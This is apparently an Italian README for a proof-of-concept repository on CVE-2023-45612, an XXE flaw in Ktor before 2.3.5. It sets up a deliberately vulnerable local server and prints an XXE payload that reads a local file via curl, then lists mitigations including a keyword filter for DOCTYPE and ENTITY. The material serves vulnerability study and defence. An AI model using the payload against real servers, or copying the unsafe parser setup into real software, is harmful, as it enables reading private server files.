
Questo repository fornisce una Proof of Concept per CVE-2023-45612, dimostrando una vulnerabilità di iniezione XML External Entity (XXE) nelle versioni di JetBrains Ktor precedenti alla 2.3.5.
Questo repository contiene un server Ktor vulnerabile per dimostrare la vulnerabilità di iniezione XML External Entity (XXE) identificata in CVE-2023-45612.
La vulnerabilità esiste nelle versioni di Ktor precedenti alla 2.3.5 quando il plugin ContentNegotiation viene utilizzato con il serializzatore xml() predefinito. Il parser XML predefinito non era configurato per impedire la risoluzione di entità esterne, consentendo agli aggressori di leggere file arbitrari dal server.
Le sezioni seguenti descrivono i passaggi per riprodurre l'exploit sul tuo sistema.
Versioni che ho utilizzato per questo PoC:
Crea un progetto Ktor in IntelliJ IDEA con il motore Netty, Gradle Kotlin e la versione di Ktor 2.3.4 (o una versione precedente).
All'interno del file dovrai introdurre il seguente plugin:
build.gradle.ktskotlin("plugin.serialization") version "2.2.20"
e queste dipendenze:
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt deve contenere la funzione principale per avviare il server e la funzione module() per configurarlo. Di default, la funzione xml() inizializza un parser XML che consente l'elaborazione di entità esterne.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt deve definire l'endpoint che riceverà e parserà il XML dannoso.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Compila l'applicazione e avvia il server.
./gradlew build
./gradlew run
Per testare l'endpoint, crea un file XML chiamato hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
Puoi eseguirlo con il seguente comando curl (su Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
E se tutto funziona, dovresti ricevere il seguente messaggio:
Message received: Hello, world!
Crea un file secret_file.txt con del testo al suo interno. Le informazioni in esso contenute sono ciò che vogliamo ottenere con il nostro exploit.
Crea un file chiamato exploit_message.xml. Il suo contenuto deve definire un'entità esterna &xxe; come contenuto del file secret_file.txt e poi utilizzare tale entità all'interno dei tag <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Esegui il seguente comando curl (su Windows) verso il server in esecuzione:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
Il server leggerà il file secret_file.txt e invierà il suo contenuto nella risposta HTTP:
Message received: XXE was a success.
La soluzione più efficace è aggiornare Ktor alla versione 2.3.5 o successiva. Utilizzano un parser XML predefinito configurato in modo sicuro che disabilita l'elaborazione delle definizioni del tipo di documento e delle entità esterne per impostazione predefinita, prevenendo direttamente questo attacco XXE. In alternativa, puoi anche configurare manualmente il parser XML.
Come livello aggiuntivo di difesa, leggi il corpo della richiesta grezzo come testo semplice e rifiutalo se contiene parole chiave sospette come <!DOCTYPE o <!ENTITY prima che raggiunga il parser.
Questa vulnerabilità è specifica dell'analisi XML. Se i requisiti della tua applicazione sono flessibili, la modifica più sicura è evitare del tutto l'XML e utilizzare un formato che non presenta questa classe di vulnerabilità, come JSON.
Cerca attivamente di trovare falle di sicurezza controllando le tue librerie per vulnerabilità note e testando la tua app per exploit comuni.